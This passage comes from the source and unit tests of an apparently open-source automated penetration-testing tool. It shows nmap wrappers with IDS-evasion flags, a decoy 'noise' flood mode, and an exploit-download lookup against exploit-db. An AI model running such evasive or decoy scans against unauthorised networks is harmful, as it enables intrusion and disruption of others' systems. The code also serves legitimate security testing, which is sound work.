154 | } 155 | 156 | 157 | @pytest.fixture 158 | def mock_http_response(): 159 | """Create a mock HTTP response.""" 160 | def _create_response(status_code=200, text="", headers=None): 161 | response = Mock() 162 | response.status_code = status_code 163 | response.text = text 164 | response.content = text.encode() if isinstance(text, str) else text 165 | response.headers = headers or {"Content-Type": "text/html"} 166 | response.raise_for_status = Mock() 167 | if status_code >= 400: 168 | response.raise_for_status.side_effect = Exception(f"HTTP {status_code}") 169 | return response 170 | return _create_response 171 | 172 | 173 | @pytest.fixture 174 | def captured_output(monkeypatch): 175 | """Capture stdout and stderr for testing console output.""" 176 | import io 177 | stdout_capture = io.StringIO() 178 | stderr_capture = io.StringIO() 179 | 180 | monkeypatch.setattr("sys.stdout", stdout_capture) 181 | monkeypatch.setattr("sys.stderr", stderr_capture) 182 | 183 | yield { 184 | "stdout": stdout_capture, 185 | "stderr": stderr_capture 186 | } 187 | 188 | 189 | @pytest.fixture(autouse=True) 190 | def reset_sys_modules(): 191 | """Reset sys.modules to prevent module caching issues between tests.""" 192 | modules_before = set(sys.modules.keys()) 193 | yield 194 | modules_after = set(sys.modules.keys()) 195 | for module in modules_after - modules_before: 196 | if module.startswith(("modules.", "api", "autopwn")): 197 | sys.modules.pop(module, None) 198 | 199 | 200 | @pytest.fixture 201 | def mock_logger(monkeypatch): 202 | """Mock the logger module.""" 203 | logger = Mock() 204 | logger.info = Mock() 205 | logger.warning = Mock() 206 | logger.error = Mock() 207 | logger.debug = Mock() 208 | logger.critical = Mock() 209 | return logger 210 | 211 | 212 | @pytest.fixture 213 | def sample_html_content(): 214 | """Provide sample HTML content for web testing.""" 215 | return """ 216 | 217 | 218 | 219 | Test Page 220 | 221 | 222 |

Welcome to Test Page

223 |
224 | 225 | 226 | 227 |
228 | Admin Panel 229 | User Profile 230 | 231 | 232 | 233 | """ 234 | 235 | 236 | @pytest.fixture 237 | def mock_rich_console(monkeypatch): 238 | """Mock Rich console for testing output.""" 239 | console = MagicMock() 240 | console.print = MagicMock() 241 | console.log = MagicMock() 242 | console.rule = MagicMock() 243 | console.status = MagicMock() 244 | return console 245 | 246 | # Markers for test categorization 247 | def pytest_configure(config): 248 | """Register custom markers.""" 249 | config.addinivalue_line("markers", "unit: Unit tests") 250 | config.addinivalue_line("markers", "integration: Integration tests") 251 | config.addinivalue_line("markers", "slow: Slow running tests") -------------------------------------------------------------------------------- /tests/unit/test_api.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the api.py module. 3 | """ 4 | import json 5 | from unittest.mock import ANY, MagicMock, mock_open, patch 6 | 7 | import pytest 8 | 9 | from api import AutoScanner, GenerateKeyword 10 | 11 | 12 | @pytest.mark.unit 13 | class TestAutoScanner: 14 | """Tests for the AutoScanner class.""" 15 | 16 | @pytest.fixture 17 | def scanner(self): 18 | """Fixture for an AutoScanner instance.""" 19 | return AutoScanner() 20 | 21 | def test_create_scan_args_valid(self, scanner): 22 | """Verify that scan arguments are created correctly.""" 23 | args = scanner.CreateScanArgs(host_timeout=240, scan_speed=4, os_scan=False, nmap_args="-sC") 24 | assert "-sV" in args 25 | assert "--host-timeout 240" in args 26 | assert "-T 4" in args 27 | assert "-O" not in args # os_scan is False 28 | assert "-sC" in args 29 | 30 | def test_create_scan_args_invalid_speed(self, scanner): 31 | """Verify that an invalid scan speed raises an exception.""" 32 | with pytest.raises(Exception, match="Scanspeed must be in range of 0, 5."): 33 | scanner.CreateScanArgs(host_timeout=None, scan_speed=9, os_scan=False, nmap_args=None) 34 | 35 | def test_init_host_info(self, scanner, mock_nmap_result): 36 | """Verify InitHostInfo parses OS and vendor data correctly.""" 37 | target_key = mock_nmap_result["scan"]["192.168.1.1"] 38 | target_key["vendor"] = ["TestVendor"] 39 | target_key["osmatch"] = [ 40 | { 41 | "name": "Linux 5.4", "accuracy": "100", "osclass": [{"type": "general purpose"}] 42 | } 43 | ] 44 | 45 | os_info = scanner.InitHostInfo(target_key) 46 | 47 | assert os_info["vendor"] == "TestVendor" 48 | assert os_info["os_name"] == "Linux 5.4" 49 | 50 | def test_init_host_info_missing_mac(self, scanner): 51 | """Verify InitHostInfo handles a result with no MAC address.""" 52 | # Simulate a target key with no 'addresses' field 53 | target_key = {"vendor": ["TestVendor"], "osmatch": []} 54 | os_info = scanner.InitHostInfo(target_key) 55 | 56 | assert os_info["mac"] == "Unknown" 57 | assert os_info["vendor"] == "TestVendor" # Should still parse vendor 58 | 59 | def test_parse_vuln_info(self, scanner): 60 | """Verify ParseVulnInfo correctly extracts details from a vulnerability object.""" 61 | mock_vuln = MagicMock() 62 | mock_vuln.description = "Test Description" 63 | mock_vuln.severity = "HIGH" 64 | mock_vuln.exploitability = 8.0 65 | 66 | vuln_info = scanner.ParseVulnInfo(mock_vuln) 67 | 68 | assert vuln_info["description"] == "Test Description" 69 | assert vuln_info["severity"] == "HIGH" 70 | 71 | @pytest.mark.parametrize( 72 | "product, version, expected", 73 | [ 74 | ("Apache httpd", "2.4.41", "Apache httpd 2.4.41"), 75 | ("OpenSSH", "8.2p1", "OpenSSH 8.2p1"), 76 | ("Product", "Unknown", ""), 77 | ("Unknown", "1.0", ""), 78 | ("http", "1.1", ""), # Ignored product 79 | ], 80 | ) 81 | def test_api_generate_keyword_wrapper(self, product, version, expected): 82 | """Verify the GenerateKeyword function exposed via the API module.""" 83 | # This function is imported from searchvuln, but we test it here 84 | # to ensure the API's usage context is covered. 85 | assert GenerateKeyword(product, version) == expected 86 | 87 | @patch("api.GenerateKeyword", return_value="apache 2.4") 88 | @patch("api.searchCVE") 89 | def test_search_vuln(self, mock_search_cve, mock_gen_keyword, scanner): 90 | """Verify that SearchVuln correctly calls search functions and parses results.""" 91 | mock_vuln = MagicMock() 92 | mock_vuln.CVEID = "CVE-2023-1234" 93 | mock_vuln.description = "Test vulnerability" 94 | mock_vuln.severity = "HIGH" 95 | mock_vuln.severity_score = 7.5 96 | mock_vuln.details_url = "http://example.com" 97 | mock_vuln.exploitability = 8.0 98 | mock_search_cve.return_value = [mock_vuln] 99 | 100 | port_key = {"product": "apache", "version": "2.4"} 101 | results = scanner.SearchVuln(port_key, apiKey="test-key") 102 | 103 | mock_gen_keyword.assert_called_once_with("apache", "2.4") 104 | # Use ANY to match the fake_logger object created internally 105 | mock_search_cve.assert_called_once_with("apache 2.4", ANY, "test-key") 106 | assert "CVE-2023-1234" in results 107 | assert results["CVE-2023-1234"]["description"] == "Test vulnerability" 108 | 109 | @patch("api.is_root", return_value=True) 110 | @patch("api.PortScanner") 111 | @patch("api.AutoScanner.SearchVuln") 112 | def test_scan_success_path(self, mock_search_vuln, mock_port_scanner, mock_is_root, scanner, mock_nmap_result): 113 | """Verify the main scan method orchestrates scans and returns JSON.""" 114 | mock_scanner_instance = MagicMock() 115 | # Configure the mock to allow dictionary-style access 116 | mock_scanner_instance.__getitem__.return_value = mock_nmap_result["scan"]["192.168.1.1"] 117 | mock_port_scanner.return_value = mock_scanner_instance 118 | 119 | # Mock the vulnerability search to return a predictable result 120 | mock_search_vuln.return_value = { 121 | "CVE-2023-TEST": {"description": "A test vulnerability"} 122 | } 123 | 124 | target = "192.168.1.1" 125 | results = scanner.scan(target, os_scan=True, scan_vulns=True) 126 | 127 | # Verify nmap scan was called 128 | mock_scanner_instance.scan.assert_called_once() 129 | 130 | # Verify the structure of the final JSON result 131 | assert target in results 132 | assert "ports" in results[target] 133 | assert "os" in results[target] 134 | assert "vulns" in results[target] 135 | assert "Apache httpd" in results[target]["vulns"] 136 | assert "CVE-2023-TEST" in results[target]["vulns"]["Apache httpd"] 137 | 138 | @patch("api.PortScanner") 139 | def test_scan_host_offline(self, mock_port_scanner, scanner): 140 | """Verify that an offline host is handled gracefully.""" 141 | mock_scanner_instance = MagicMock() 142 | # To test the "offline" path without crashing on the application's logic bug, 143 | # we simulate a host that is "up" but has no open TCP ports. 144 | mock_scanner_instance.__getitem__.return_value = {"tcp": {}} 145 | mock_port_scanner.return_value = mock_scanner_instance 146 | 147 | target = "192.168.1.99" 148 | results = scanner.scan(target) 149 | 150 | mock_scanner_instance.scan.assert_called_once() 151 | # Verify the result contains the host but with empty ports and vulns. 152 | assert results == {"192.168.1.99": {"ports": {}, "vulns": {}}} 153 | 154 | @patch("api.PortScanner") 155 | def test_scan_with_custom_nmap_args(self, mock_port_scanner, scanner): 156 | """Verify that custom nmap arguments are passed to the scanner.""" 157 | mock_scanner_instance = MagicMock() 158 | # Simulate an offline host to prevent the test from going further 159 | mock_scanner_instance.__getitem__.return_value = {"tcp": {}} 160 | mock_port_scanner.return_value = mock_scanner_instance 161 | 162 | target = "192.168.1.1" 163 | custom_args = "-sC -p 1-1000" 164 | scanner.scan(target, nmap_args=custom_args) 165 | 166 | # Verify that the custom arguments were included in the nmap command 167 | _, call_kwargs = mock_scanner_instance.scan.call_args 168 | assert custom_args in call_kwargs["arguments"] 169 | 170 | @patch("api.PortScanner") 171 | def test_scan_debug_mode(self, mock_port_scanner, scanner, capsys): 172 | """Verify that debug mode prints status messages.""" 173 | mock_scanner_instance = MagicMock() 174 | mock_scanner_instance.__getitem__.return_value = {"tcp": {}} 175 | mock_port_scanner.return_value = mock_scanner_instance 176 | 177 | target = "192.168.1.1" 178 | scanner.scan(target, debug=True) 179 | 180 | # Verify that the debug message was printed to stdout 181 | captured = capsys.readouterr() 182 | assert f"Scanning {target} ..." in captured.out 183 | 184 | @patch("builtins.open", new_callable=mock_open) 185 | def test_save_to_file(self, mock_file, scanner): 186 | """Verify that scan results are correctly written to a JSON file.""" 187 | # Populate some dummy scan results 188 | scanner.scan_results = {"127.0.0.1": {"status": "up"}} 189 | filename = "test_output.json" 190 | 191 | scanner.save_to_file(filename) 192 | 193 | # Verify that open was called with the correct filename and mode 194 | mock_file.assert_called_once_with(filename, "w") 195 | 196 | # Verify that the JSON data was written to the file 197 | handle = mock_file() 198 | written_data = handle.write.call_args[0][0] 199 | assert json.loads(written_data) == scanner.scan_results -------------------------------------------------------------------------------- /modules/scanner.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from enum import Enum 3 | from multiprocessing import Process 4 | from time import sleep 5 | 6 | from nmap import PortScanner 7 | from rich import box 8 | from rich.table import Table 9 | 10 | from modules.logger import banner 11 | from modules.utils import GetIpAdress, ScanMode, ScanType, is_root 12 | 13 | 14 | @dataclass() 15 | class TargetInfo: 16 | mac: str = "Unknown" 17 | vendor: str = "Unknown" 18 | os: str = "Unknown" 19 | os_accuracy: int = 0 20 | os_type: str = "Unknown" 21 | 22 | def colored(self) -> str: 23 | 24 | return ( 25 | f"[yellow]MAC Address :[/yellow] {self.mac}\n" 26 | + f"[yellow]Vendor :[/yellow] {self.vendor}\n" 27 | + f"[yellow]OS :[/yellow] {self.os}\n" 28 | + f"[yellow]Accuracy :[/yellow] {self.os_accuracy}\n" 29 | + f"[yellow]Type :[/yellow] {self.os_type[:20]}\n" 30 | ) 31 | 32 | def __str__(self) -> str: 33 | return ( 34 | f"MAC Address : {self.mac}" 35 | + f" Vendor : {self.vendor}\n" 36 | + f"OS : {self.os}" 37 | + f" Accuracy : {self.os_accuracy}" 38 | + f" Type : {self.os_type}" 39 | + "\n" 40 | ) 41 | 42 | 43 | # do a ping scan using nmap 44 | def TestPing(target, mode=ScanMode.Normal) -> list: 45 | nm = PortScanner() 46 | if isinstance(target, list): 47 | target = " ".join(target) 48 | if mode == ScanMode.Evade and is_root(): 49 | nm.scan(hosts=target, arguments="-sn -T 2 -f -g 53 --data-length 10") 50 | else: 51 | nm.scan(hosts=target, arguments="-sn") 52 | 53 | return nm.all_hosts() 54 | 55 | 56 | # do a arp scan using nmap 57 | def TestArp(target, mode=ScanMode.Normal) -> list: 58 | nm = PortScanner() 59 | if isinstance(target, list): 60 | target = " ".join(target) 61 | if mode == ScanMode.Evade: 62 | nm.scan(hosts=target, arguments="-sn -PR -T 2 -f -g 53 --data-length 10") 63 | else: 64 | nm.scan(hosts=target, arguments="-sn -PR") 65 | 66 | return nm.all_hosts() 67 | 68 | 69 | # run a port scan on target using nmap 70 | def PortScan( 71 | target, 72 | log, 73 | scanspeed=5, 74 | host_timeout=240, 75 | mode=ScanMode.Normal, 76 | customflags="", 77 | ) -> PortScanner: 78 | 79 | log.logger("info", f"Scanning {target} for open ports ...") 80 | 81 | nm = PortScanner() 82 | try: 83 | if is_root(): 84 | if mode == ScanMode.Evade: 85 | nm.scan( 86 | hosts=target, 87 | arguments=" ".join( 88 | [ 89 | "-sS", 90 | "-sV", 91 | "-O", 92 | "-Pn", 93 | "-T", 94 | "2", 95 | "-f", 96 | "-g", 97 | "53", 98 | "--data-length", 99 | "10", 100 | customflags, 101 | ] 102 | ), 103 | ) 104 | else: 105 | nm.scan( 106 | hosts=target, 107 | arguments=" ".join( 108 | [ 109 | "-sS", 110 | "-sV", 111 | "--host-timeout", 112 | str(host_timeout), 113 | "-Pn", 114 | "-O", 115 | "-T", 116 | str(scanspeed), 117 | customflags, 118 | ] 119 | ), 120 | ) 121 | else: 122 | nm.scan( 123 | hosts=target, 124 | arguments=" ".join( 125 | [ 126 | "-sV", 127 | "--host-timeout", 128 | str(host_timeout), 129 | "-Pn", 130 | "-T", 131 | str(scanspeed), 132 | customflags, 133 | ] 134 | ), 135 | ) 136 | except Exception as e: 137 | raise SystemExit(f"Error: {e}") 138 | else: 139 | return nm 140 | 141 | 142 | def CreateNoise(target) -> None: 143 | nm = PortScanner() 144 | while True: 145 | try: 146 | if is_root(): 147 | nm.scan(hosts=target, arguments="-A -T 5 -D RND:10") 148 | else: 149 | nm.scan(hosts=target, arguments="-A -T 5") 150 | except KeyboardInterrupt: 151 | raise SystemExit("Ctr+C, aborting.") 152 | else: 153 | break 154 | 155 | 156 | def NoiseScan(target, log, console, scantype=ScanType.ARP, noisetimeout=None) -> None: 157 | banner("Creating noise...", "green", console) 158 | 159 | Uphosts = TestPing(target) 160 | if scantype == ScanType.ARP: 161 | if is_root(): 162 | Uphosts = TestArp(target) 163 | 164 | try: 165 | with console.status("Creating noise ...", spinner="line"): 166 | NoisyProcesses = [] 167 | for host in Uphosts: 168 | log.logger("info", f"Started creating noise on {host}...") 169 | P = Process(target=CreateNoise, args=(host,)) 170 | NoisyProcesses.append(P) 171 | P.start() 172 | if noisetimeout: 173 | sleep(noisetimeout) 174 | else: 175 | while True: 176 | sleep(1) 177 | 178 | log.logger("info", "Noise scan complete!") 179 | for P in NoisyProcesses: 180 | P.terminate() 181 | raise SystemExit 182 | except KeyboardInterrupt: 183 | log.logger("error", "Noise scan interrupted!") 184 | raise SystemExit 185 | 186 | 187 | def DiscoverHosts(target, console, scantype=ScanType.ARP, mode=ScanMode.Normal) -> list: 188 | if isinstance(target, list): 189 | banner( 190 | f"Scanning {len(target)} target(s) using {scantype.name} scan ...", 191 | "green", 192 | console, 193 | ) 194 | else: 195 | banner(f"Scanning {target} using {scantype.name} scan ...", "green", console) 196 | 197 | if scantype == ScanType.ARP: 198 | OnlineHosts = TestArp(target, mode) 199 | else: 200 | OnlineHosts = TestPing(target, mode) 201 | 202 | return OnlineHosts 203 | 204 | 205 | def InitHostInfo(target_key) -> TargetInfo: 206 | try: 207 | mac = target_key["addresses"]["mac"] 208 | except (KeyError, IndexError): 209 | mac = "Unknown" 210 | 211 | try: 212 | vendor = target_key["vendor"][0] 213 | except (KeyError, IndexError): 214 | vendor = "Unknown" 215 | 216 | try: 217 | os = target_key["osmatch"][0]["name"] 218 | except (KeyError, IndexError): 219 | os = "Unknown" 220 | 221 | try: 222 | os_accuracy = target_key["osmatch"][0]["accuracy"] 223 | except (KeyError, IndexError): 224 | os_accuracy = "Unknown" 225 | 226 | try: 227 | os_type = target_key["osmatch"][0]["osclass"][0]["type"] 228 | except (KeyError, IndexError): 229 | os_type = "Unknown" 230 | 231 | return TargetInfo( 232 | mac=mac, 233 | vendor=vendor, 234 | os=os, 235 | os_accuracy=os_accuracy, 236 | os_type=os_type, 237 | ) 238 | 239 | 240 | def InitPortInfo(port) -> tuple[str, str, str, str]: 241 | state = "Unknown" 242 | service = "Unknown" 243 | product = "Unknown" 244 | version = "Unknown" 245 | 246 | if not len(port["state"]) == 0: 247 | state = port["state"] 248 | 249 | if not len(port["name"]) == 0: 250 | service = port["name"] 251 | 252 | if not len(port["product"]) == 0: 253 | product = port["product"] 254 | 255 | if not len(port["version"]) == 0: 256 | version = port["version"] 257 | 258 | return state, service, product, version 259 | 260 | 261 | def AnalyseScanResults(nm, log, console, target=None) -> list: 262 | """ 263 | Analyse and print scan results. 264 | """ 265 | HostArray = [] 266 | if target is None: 267 | target = nm.all_hosts()[0] 268 | 269 | try: 270 | nm[target] 271 | except KeyError: 272 | log.logger("warning", f"Target {target} seems to be offline.") 273 | return [] 274 | 275 | CurrentTargetInfo = InitHostInfo(nm[target]) 276 | 277 | if is_root(): 278 | if nm[target]["status"]["reason"] in ["localhost-response", "user-set"]: 279 | log.logger("info", f"Target {target} seems to be us.") 280 | elif GetIpAdress() == target: 281 | log.logger("info", f"Target {target} seems to be us.") 282 | 283 | if len(nm[target].all_tcp()) == 0: 284 | log.logger("warning", f"Target {target} seems to have no open ports.") 285 | return HostArray 286 | 287 | banner(f"Portscan results for {target}", "green", console) 288 | 289 | if not CurrentTargetInfo.mac == "Unknown" and not CurrentTargetInfo.os == "Unknown": 290 | console.print(CurrentTargetInfo.colored(), justify="center") 291 | 292 | table = Table(box=box.MINIMAL) 293 | 294 | table.add_column("Port", style="cyan") 295 | table.add_column("State", style="white") 296 | table.add_column("Service", style="blue") 297 | table.add_column("Product", style="red") 298 | table.add_column("Version", style="purple") 299 | 300 | for port in nm[target]["tcp"].keys(): 301 | state, service, product, version = InitPortInfo(nm[target]["tcp"][port]) 302 | table.add_row(str(port), state, service, product, version) 303 | 304 | if state == "open": 305 | HostArray.insert(len(HostArray), [target, port, service, product, version]) 306 | 307 | console.print(table, justify="center") 308 | 309 | return HostArray 310 | -------------------------------------------------------------------------------- /tests/unit/test_autopwn.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the main autopwn.py script. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | 8 | from autopwn import main, StartScanning 9 | 10 | 11 | @pytest.mark.unit 12 | class TestMainExecution: 13 | """Tests for the main function in autopwn.py.""" 14 | 15 | @patch("autopwn.cli") 16 | def test_main_version_flag(self, mock_cli, capsys): 17 | """Verify that the -v flag prints the version and exits.""" 18 | # Mock the CLI arguments to simulate '-v' 19 | mock_args = MagicMock() 20 | mock_args.version = True 21 | mock_args.no_color = True # To simplify console mocking 22 | mock_cli.return_value = mock_args 23 | 24 | with pytest.raises(SystemExit): 25 | main() 26 | 27 | captured = capsys.readouterr() 28 | assert "AutoPWN Suite v" in captured.out 29 | 30 | @patch("autopwn.SaveOutput") 31 | @patch("autopwn.InitializeReport") 32 | @patch("autopwn.StartScanning") 33 | @patch("autopwn.ParamPrint") 34 | @patch("autopwn.InitReport") 35 | @patch("autopwn.InitArgsAPI") 36 | @patch("autopwn.InitArgsMode") 37 | @patch("autopwn.InitArgsScanType") 38 | @patch("autopwn.InitArgsTarget") 39 | @patch("autopwn.InitAutomation") 40 | @patch("autopwn.InitArgsConf") 41 | @patch("autopwn.CheckConnection") 42 | @patch("autopwn.print_banner") 43 | @patch("autopwn.cli") 44 | def test_main_basic_scan_flow(self, mock_cli, mock_banner, mock_check_connection, mock_init_conf, mock_init_auto, mock_init_target, mock_init_scantype, mock_init_mode, mock_init_api, mock_init_report, *other_mocks): 45 | """Verify the main orchestration flow of the application.""" 46 | mock_args = MagicMock() 47 | mock_args.version = False 48 | mock_args.config = None # No config file 49 | mock_args.daemon_install = False 50 | mock_args.daemon_uninstall = False 51 | mock_args.create_config = False 52 | mock_args.no_color = True 53 | mock_args.report = None # Explicitly set no report 54 | mock_args.scan_interval = None # Prevent TypeError on comparison 55 | mock_cli.return_value = mock_args 56 | 57 | # Configure the mock for InitReport to return a tuple 58 | mock_init_report.return_value = (None, None) 59 | 60 | main() 61 | 62 | all_mocks = [ 63 | mock_banner, mock_check_connection, mock_init_conf, mock_init_auto, 64 | mock_init_target, mock_init_scantype, mock_init_mode, mock_init_api, 65 | mock_init_report 66 | ] + list(other_mocks) 67 | 68 | # Verify that all the main setup and execution functions are called 69 | # Note: InitArgsConf is not called in this path because args.config is None 70 | for func in all_mocks: 71 | if func is mock_init_conf: 72 | func.assert_not_called() 73 | continue 74 | func.assert_called_once() 75 | 76 | @patch("autopwn.SaveOutput") 77 | @patch("autopwn.InitializeReport") 78 | @patch("autopwn.StartScanning") 79 | @patch("autopwn.ParamPrint") 80 | @patch("autopwn.InitReport") 81 | @patch("autopwn.InitArgsAPI") 82 | @patch("autopwn.InitArgsMode") 83 | @patch("autopwn.InitArgsScanType") 84 | @patch("autopwn.InitArgsTarget") 85 | @patch("autopwn.InitAutomation") 86 | @patch("autopwn.InitArgsConf") 87 | @patch("autopwn.CheckConnection") 88 | @patch("autopwn.print_banner") 89 | @patch("autopwn.cli") 90 | def test_main_with_config_file(self, mock_cli, mock_banner, mock_check_connection, mock_init_conf, mock_init_auto, mock_init_target, mock_init_scantype, mock_init_mode, mock_init_api, mock_init_report, *other_mocks): 91 | """Verify that InitArgsConf is called when a config file is provided.""" 92 | mock_args = MagicMock() 93 | mock_args.version = False 94 | mock_args.config = "test.ini" 95 | mock_args.daemon_install = False 96 | mock_args.daemon_uninstall = False 97 | mock_args.create_config = False 98 | mock_args.no_color = True 99 | mock_args.report = None 100 | mock_args.scan_interval = None # Prevent TypeError on comparison 101 | mock_cli.return_value = mock_args 102 | 103 | # Configure the mock for InitReport to return a tuple 104 | mock_init_report.return_value = (None, None) 105 | 106 | main() 107 | 108 | # Specifically check that InitArgsConf was called because a config was provided 109 | mock_init_conf.assert_called_once() 110 | 111 | @patch("autopwn.InstallDaemon") 112 | @patch("autopwn.cli") 113 | @patch("autopwn.print_banner") # Patch functions that should NOT be called 114 | @patch("autopwn.CheckConnection") 115 | @patch("autopwn.InitArgsConf") 116 | def test_main_daemon_install_flow(self, mock_init_conf, mock_check_connection, mock_print_banner, mock_cli, mock_install_daemon): 117 | """Verify that the --daemon-install flag correctly triggers the installer and exits.""" 118 | mock_args = MagicMock() 119 | mock_args.version = False 120 | mock_args.daemon_install = True # This is the key for this test 121 | mock_args.no_color = True 122 | mock_cli.return_value = mock_args 123 | 124 | with pytest.raises(SystemExit): 125 | main() 126 | 127 | # Verify that InstallDaemon was called exactly once 128 | mock_install_daemon.assert_called_once() 129 | 130 | # Verify that other parts of the main flow were NOT called 131 | # because daemon_install should short-circuit the execution. 132 | mock_print_banner.assert_not_called() 133 | mock_check_connection.assert_not_called() 134 | mock_init_conf.assert_not_called() 135 | # We don't need to assert on all other InitArgs* functions 136 | # as they are downstream from print_banner and CheckConnection. 137 | # If those aren't called, neither should the others. 138 | 139 | # Verify that cli was called to get the arguments 140 | mock_cli.assert_called_once() 141 | 142 | 143 | @pytest.mark.unit 144 | @patch("autopwn.check_nmap") 145 | class TestStartScanning: 146 | """Tests for the StartScanning function.""" 147 | 148 | @patch("builtins.input") 149 | @patch("autopwn.NoiseScan") 150 | def test_start_scanning_noise_mode(self, mock_noise_scan, mock_input, mock_check_nmap): 151 | """Verify that only NoiseScan is called in Noise mode.""" 152 | args = MagicMock(yes_please=False) 153 | # NoiseScan is designed to exit the program. We simulate this behavior. 154 | mock_noise_scan.side_effect = SystemExit 155 | 156 | from modules.utils import ScanMode, ScanType 157 | from autopwn import InitAutomation 158 | InitAutomation(args) # Set up the global state 159 | with pytest.raises(SystemExit): 160 | StartScanning(args, "target", ScanType.Ping, ScanMode.Noise, "apiKey", MagicMock(), MagicMock(), MagicMock()) 161 | mock_noise_scan.assert_called_once() 162 | 163 | @patch("autopwn.webvuln") 164 | @patch("autopwn.GetExploitsFromArray") 165 | @patch("autopwn.SearchSploits") 166 | @patch("autopwn.AnalyseScanResults") 167 | @patch("autopwn.PortScan") 168 | @patch("autopwn.WebScan", return_value=True) 169 | @patch("autopwn.UserConfirmation", return_value=(True, True, True)) 170 | @patch("autopwn.GetHostsToScan", return_value=["192.168.1.1"]) 171 | @patch("autopwn.DiscoverHosts") 172 | def test_full_scan_flow(self, mock_discover, mock_get_hosts, mock_user_confirm, mock_web_scan, mock_port_scan, mock_analyse, mock_search_vulns, mock_get_exploits, mock_webvuln, mock_check_nmap): 173 | """Verify all scanning functions are called when user confirms all.""" 174 | args = MagicMock(skip_discovery=False, yes_please=False) 175 | from autopwn import InitAutomation 176 | InitAutomation(args) 177 | from modules.utils import ScanMode 178 | 179 | # Mock return values to allow the chain to complete 180 | mock_port_scan.return_value = "port_scan_results" 181 | mock_analyse.return_value = ["port_array"] 182 | mock_search_vulns.return_value = ["vulns_array"] 183 | 184 | StartScanning(args, "target", "scantype", ScanMode.Normal, "apiKey", MagicMock(), MagicMock(), MagicMock()) 185 | 186 | mock_discover.assert_called_once() 187 | mock_port_scan.assert_called_once() 188 | mock_search_vulns.assert_called_once() 189 | mock_get_exploits.assert_called_once() 190 | mock_webvuln.assert_called_once() 191 | 192 | @patch("autopwn.webvuln") 193 | @patch("autopwn.GetExploitsFromArray") 194 | @patch("autopwn.SearchSploits") 195 | @patch("autopwn.AnalyseScanResults") 196 | @patch("autopwn.PortScan") 197 | @patch("autopwn.WebScan", return_value=False) 198 | @patch("autopwn.UserConfirmation", return_value=(True, False, False)) # User says NO to vuln scan 199 | @patch("autopwn.GetHostsToScan", return_value=["192.168.1.1"]) 200 | @patch("autopwn.DiscoverHosts") 201 | def test_partial_scan_flow(self, mock_discover, mock_get_hosts, mock_user_confirm, mock_web_scan, mock_port_scan, mock_analyse, mock_search_vulns, mock_get_exploits, mock_webvuln, mock_check_nmap): 202 | """Verify vuln scan and exploit download are skipped if user says no.""" 203 | args = MagicMock(skip_discovery=False, yes_please=False) 204 | from modules.utils import ScanMode 205 | from autopwn import InitAutomation 206 | InitAutomation(args) 207 | StartScanning(args, "target", "scantype", ScanMode.Normal, "apiKey", MagicMock(), MagicMock(), MagicMock()) 208 | 209 | mock_port_scan.assert_called_once() 210 | mock_search_vulns.assert_not_called() 211 | mock_get_exploits.assert_not_called() 212 | 213 | @patch("builtins.input") 214 | @patch("autopwn.DiscoverHosts") 215 | def test_skip_discovery(self, mock_discover, mock_input, mock_check_nmap): 216 | """Verify DiscoverHosts is not called when skip_discovery is True.""" 217 | args = MagicMock(skip_discovery=True, yes_please=False) 218 | from modules.utils import ScanMode 219 | from autopwn import InitAutomation 220 | InitAutomation(args) 221 | # Mock UserConfirmation and WebScan to prevent the scan from proceeding into slow network calls 222 | with patch("autopwn.UserConfirmation", return_value=(False, False, False)), \ 223 | patch("autopwn.WebScan", return_value=False): 224 | StartScanning(args, "target", "scantype", ScanMode.Normal, "apiKey", MagicMock(), MagicMock(), MagicMock()) 225 | 226 | mock_discover.assert_not_called() -------------------------------------------------------------------------------- /tests/unit/test_getexploits.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the getexploits module. 3 | """ 4 | from unittest.mock import MagicMock, mock_open, patch, call 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.getexploits import GetExploitInfo, ExploitInfo, GetExploitsFromArray, GetExploitContents, GetExploitAsFile 10 | 11 | 12 | @pytest.mark.unit 13 | class TestGetExploitInfo: 14 | """Tests for the GetExploitInfo function.""" 15 | 16 | @pytest.fixture 17 | def mock_logger(self): 18 | """Fixture for a mocked logger.""" 19 | return MagicMock() 20 | 21 | @patch("modules.getexploits.get") 22 | def test_get_exploit_info_success(self, mock_get, mock_logger): 23 | """ 24 | Verify that exploit information is parsed correctly on a successful API call. 25 | """ 26 | mock_response = MagicMock() 27 | mock_response.json.return_value = { 28 | "data": [ 29 | { 30 | "id": "12345", 31 | "platform_id": "windows", 32 | "date_published": "2023-10-27", 33 | "type_id": "remote", 34 | "author": {"name": "test_author"}, 35 | "verified": "1", 36 | } 37 | ] 38 | } 39 | mock_get.return_value = mock_response 40 | 41 | results = GetExploitInfo("CVE-2023-1234", mock_logger) 42 | 43 | assert len(results) == 1 44 | exploit = results[0] 45 | assert isinstance(exploit, ExploitInfo) 46 | assert exploit.ExploitDBID == 12345 47 | assert exploit.Platform == "windows" 48 | assert exploit.Author == "test_author" 49 | assert exploit.Verified is True 50 | assert exploit.Link == "https://www.exploit-db.com/download/12345" 51 | 52 | @patch("modules.getexploits.get", side_effect=ConnectionError) 53 | def test_get_exploit_info_connection_error(self, mock_get, mock_logger): 54 | """ 55 | Verify that a connection error is handled gracefully. 56 | """ 57 | cve_id = "CVE-2023-1234" 58 | results = GetExploitInfo(cve_id, mock_logger) 59 | 60 | assert results == [] 61 | mock_logger.logger.assert_called_once_with( 62 | "error", f"Connection error raised while trying to fetch information about: {cve_id}" 63 | ) 64 | 65 | @patch("modules.getexploits.get") 66 | def test_get_exploit_info_json_error(self, mock_get, mock_logger): 67 | """ 68 | Verify that a JSON decoding error is handled gracefully. 69 | """ 70 | mock_response = MagicMock() 71 | # Simulate a JSONDecodeError by having .json() raise an exception 72 | mock_response.json.side_effect = ValueError("Invalid JSON") 73 | mock_get.return_value = mock_response 74 | cve_id = "CVE-2023-JSON-ERROR" 75 | 76 | results = GetExploitInfo(cve_id, mock_logger) 77 | 78 | assert results == [] 79 | mock_logger.logger.assert_called_once_with("error", "An error occured while parsing API response.") 80 | 81 | 82 | @pytest.mark.unit 83 | class TestGetExploitContents: 84 | """Tests for the GetExploitContents function.""" 85 | 86 | @patch("modules.getexploits.get") 87 | def test_get_exploit_contents_success(self, mock_get): 88 | """Verify successful download and filename parsing.""" 89 | mock_response = MagicMock() 90 | mock_response.content = b"exploit code" 91 | mock_response.headers = 